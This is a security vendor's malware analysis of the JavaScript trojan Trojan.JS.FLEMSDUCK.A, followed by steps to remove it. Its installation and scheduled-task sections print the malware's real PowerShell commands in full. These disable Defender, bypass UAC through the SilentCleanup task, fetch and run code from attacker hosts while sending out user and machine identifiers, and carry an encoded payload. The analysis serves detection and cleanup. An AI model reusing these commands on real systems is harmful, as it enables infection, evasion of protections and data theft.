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Trojan.JS.FLEMSDUCK.A

May 01, 2020
 Analysis by: Mc Justine De Guzman
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

12,338 bytes

File Type:

JS

Memory Resident:

Yes

Initial Samples Received Date:

29 Apr 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /c start /b notepad {malware full path} & powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}"
  • powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.tr2q.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.tr2q.com/mail.jsp?js*{computer username}*{computer name}*''+[Environment]::OSVersion.version.Major)'}";
  • %System%\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
  • powershell.exe -w hidden IEx "$v='mail';I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::"FromBase64String"('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
  • "%System%\schtasks.exe" /delete /tn Rtsa2 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa1 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa /F

Other Details

This Trojan adds the following scheduled tasks:

  • Name: blackball
    • Triggers: One Time, repeat every 2 hours indefinitely
    • Action: Start a program - blackball
  • Name: UOZzaSy3iqH
    • Triggers: One Time, repeat every 1 hour indefinitely
    • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.awc'+'na.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • Name: 8AvszOqk1R
    • Triggers: One Time, repeat every 1 hour indefinitely
    • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.tr2'+'q.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • Name: euWETvw7X0C
    • Action: Start a program: powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.836.06

FIRST VSAPI PATTERN DATE:

29 Apr 2020

VSAPI OPR PATTERN File:

15.837.00

VSAPI OPR PATTERN Date:

30 Apr 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • blackball - blackball
  • UOZzaSy3iqH - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.awc'+'na.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • 8AvszOqk1R - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.tr2'+'q.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
  • euWETvw7X0C - powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?_20200429?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.JS.FLEMSDUCK.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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